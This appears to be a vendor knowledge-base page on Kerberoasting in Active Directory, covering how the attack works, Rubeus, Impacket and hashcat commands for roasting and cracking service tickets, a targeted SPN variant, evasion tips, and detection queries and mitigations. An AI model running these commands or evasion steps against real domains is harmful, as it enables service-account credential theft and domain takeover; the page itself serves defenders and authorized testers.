1. Resources
  2. Identity Threats
  3. Active Directory

Kerberoasting

Also known as: Kerberoast, SPN roasting, Targeted Kerberoasting

Any domain user can request Kerberos service tickets for accounts that have an SPN and crack them offline to recover the service account's password.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any authenticated domain account. No rights on the target account and no access to the service host are needed.
What the attacker gains
The cleartext password of a service account, and every right that account holds.
Threat groups
FIN7Indrik SpiderNIMBUS MANTICOREWizard SpiderAPT3APT41BlackByteBRONZE BUTLERChimeraDragonflyFIN13FIN6Fox KittenINC Ransomand 19 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1558.003, T1110.002, T1087.002.

How it works

Kerberoasting abuses a normal part of Kerberos authentication. A service principal name (SPN) ties a service instance to the account that runs it. When a client wants to use a service, it sends its ticket-granting ticket to the domain controller in a TGS-REQ and receives a service ticket in the TGS-REP. Part of that ticket is encrypted with a key derived from the password of the account that owns the SPN.

Two properties make the attack possible:

  • The KDC issues a service ticket to any authenticated principal that asks for a valid SPN. It doesn't check whether the requester is allowed to use the service; the service does that later.
  • When the SPN belongs to a user account, the ticket's key comes from a password that a person chose. The attacker can test password guesses against the encrypted part offline, without sending anything else to the domain.

Computer accounts and group managed service accounts also own SPNs, but their passwords are long, random and rotated automatically, so their tickets aren't practical to crack. The targets are user accounts with an SPN: the classic service account with a password set years ago.

The ticket's encryption type sets the cracking speed. RC4 (type 0x17) uses the account's NT hash directly as the key and is by far the fastest to attack. AES128 and AES256 (types 0x11 and 0x12) add a salted, iterated key derivation and are much slower, but a weak password still falls. An attacker who can choose often asks for RC4 on purpose, which is the downgrade that the RC4 and AES guide removes.

Targeted Kerberoasting is a variant for accounts that have no SPN. An attacker who can write the servicePrincipalName attribute of a user (GenericAll, GenericWrite or WriteSPN on the object) adds a temporary SPN, requests the ticket, and removes the SPN again.

Prerequisites

  • A valid domain account, of any privilege level, and network access to a domain controller on TCP/UDP 88 (and LDAP for discovery).
  • At least one enabled user account with an SPN.
  • For the attack to pay off: a password on that account that an offline guessing run can reach. Old, human-chosen and never-rotated passwords are the usual case.
  • For the targeted variant: write access to servicePrincipalName on the target user.

The account's own privileges decide the value of the result. A service account in Domain Admins, or one with local administrator rights on many servers, is an over-permissioned service account and the reason this attack so often ends in domain compromise.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

The steps below are for an authorized assessment or a lab.

1. Find user accounts with an SPN

Any domain user can run this LDAP query:

# ActiveDirectory module: enabled user accounts that own at least one SPN
Get-ADUser -LDAPFilter '(&(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
    -Properties servicePrincipalName, pwdLastSet, memberOf, 'msDS-SupportedEncryptionTypes' |
    Select-Object SamAccountName, pwdLastSet, 'msDS-SupportedEncryptionTypes', servicePrincipalName

Prioritize accounts with an old pwdLastSet, privileged group membership, and an encryption type attribute that is empty or still allows RC4.

2. Request the service tickets

From a domain-joined Windows host, Rubeus requests the tickets and prints them in a crackable format:

# All roastable accounts, hashcat format
.\Rubeus.exe kerberoast /outfile:hashes.txt

# One account, and only if its ticket can be RC4
.\Rubeus.exe kerberoast /user:svc-sql /rc4opsec /outfile:hashes.txt

# Summary only: how many accounts and which encryption types, no ticket requests
.\Rubeus.exe kerberoast /stats

From Linux, Impacket does the same with a password, a hash or a Kerberos ticket:

# List the roastable accounts
GetUserSPNs.py corp.example.com/alice -dc-ip 192.0.2.10

# Request the tickets and save them
GetUserSPNs.py corp.example.com/alice -dc-ip 192.0.2.10 -request -outputfile hashes.txt

3. Crack the tickets offline

The hash prefix names the encryption type and the hashcat mode:

Ticket Hash prefix Hashcat mode
RC4 (0x17) $krb5tgs$23$ 13100
AES128 (0x11) $krb5tgs$17$ 19600
AES256 (0x12) $krb5tgs$18$ 19700
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
john --format=krb5tgs --wordlist=wordlist.txt hashes.txt

4. Use the recovered password

The cracked password is the account's real password. The attacker signs in as the service account, uses its group memberships and local administrator rights, or forges service tickets for its SPN (a Silver Ticket).

Targeted variant

With write access to a user's servicePrincipalName, add an SPN, roast the account, and remove the SPN:

Set-ADUser -Identity 'j.doe' -ServicePrincipalNames @{Add='http/roast.corp.example.com'}
.\Rubeus.exe kerberoast /user:j.doe /outfile:hashes.txt
Set-ADUser -Identity 'j.doe' -ServicePrincipalNames @{Remove='http/roast.corp.example.com'}

Impact

The attacker gets the cleartext password of every roasted account whose password can be guessed. That is credential theft without touching the target host, and the password stays valid until someone changes it. Service account passwords are rarely rotated, so access often lasts for months.

What follows depends on the account: lateral movement to the servers it administers, access to the application's data, and, when the account is privileged, control of the domain. Kerberoasting is a common first privilege escalation step after an attacker gets any domain account.

OPSEC and artifacts

What a careful operator does to stay quiet, and what the attack leaves behind either way:

  • Fewer, slower requests. Roasting one or two chosen accounts, spaced out, avoids the burst of ticket requests that volume rules look for. Each request still writes its own event 4769.
  • Matching the encryption type. Requesting AES tickets for accounts that support AES avoids the RC4 anomaly, at the cost of much slower cracking. Rubeus /rc4opsec roasts only accounts that have no AES keys set, so no ticket is downgraded.
  • Avoiding decoys. Operators check pwdLastSet, lastLogon and group membership first, because an SPN account that was never used is often a honeypot.
  • Event 4769 on the domain controller for every ticket request, with the requesting account, the client address, the service name and the ticket encryption type.
  • Event 5136 (with directory change auditing and a SACL in place) for the SPN that the targeted variant adds and removes.
  • Nothing for the cracking. It happens on the attacker's own hardware and leaves no trace in the domain.
  • Events 4624 and 4672 on the hosts where the recovered password is later used.

Detection

Detection rests on the ticket requests, because the offline stage is invisible.

  • Volume and spread: one account requesting service tickets for many distinct user-backed SPNs in a short window. The Kerberoasting detection rules implement this on event 4769.
  • RC4 where AES is expected: TicketEncryptionType 0x17 for an account that supports AES. See the Kerberos RC4 downgrade rules.
  • Decoy account: a user with an SPN that no real service uses. Any ticket request for it is suspicious.
  • Short-lived SPNs: an SPN added to a user and removed soon after, in event 5136, points to the targeted variant.
// Accounts that requested service tickets for many user-backed services in 10 minutes
SecurityEvent
| where EventID == 4769 and Status == "0x0"
| where ServiceName !endswith "$" and ServiceName != "krbtgt"
| summarize Services = dcount(ServiceName), RC4 = countif(TicketEncryptionType == "0x17")
    by TargetUserName, IpAddress, bin(TimeGenerated, 10m)
| where Services >= 10
| order by Services desc

The threshold is a starting value. Vulnerability scanners, monitoring tools and some applications request many tickets in normal operation, so build an allow list from your own baseline. A single 4769 event never proves an attack: ticket requests are routine.

Mitigation

  • Move services to group managed service accounts. A gMSA password is 240 bytes, random and rotated by the domain. The gMSA guide covers the migration.
  • Where a conventional account must stay, give it a random password of at least 25 characters from a secret manager, and rotate it.
  • Remove privileges the service doesn't need. A service account should not be a member of Domain Admins. See how to secure Active Directory service accounts.
  • Retire RC4. Set AES encryption types on service accounts and follow the RC4 to AES migration guide. This slows cracking; it doesn't replace strong passwords.
  • Remove unused SPNs from user accounts, and review who can write servicePrincipalName.
  • Audit: enable Audit Kerberos Service Ticket Operations on domain controllers so event 4769 is recorded.

Detection rules for this attack

Log events to collect

FAQ

What privileges does Kerberoasting need?

Only a valid domain account. Any authenticated user can ask the KDC for a service ticket to any SPN, and the KDC doesn't check whether the user may use the service. The attacker needs no rights on the service account and never contacts the service.

Does AES encryption stop Kerberoasting?

No. AES service tickets can be cracked offline too, only more slowly than RC4 tickets. What stops the attack is a password that can't be guessed: a group managed service account, or a long random password on a conventional account.

How do you detect Kerberoasting?

Watch event 4769 on domain controllers for one account requesting service tickets for many different user-backed SPNs in a short time, and for RC4 tickets (encryption type 0x17) where AES is expected. A decoy account with an SPN that no service uses gives a high-fidelity alert.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.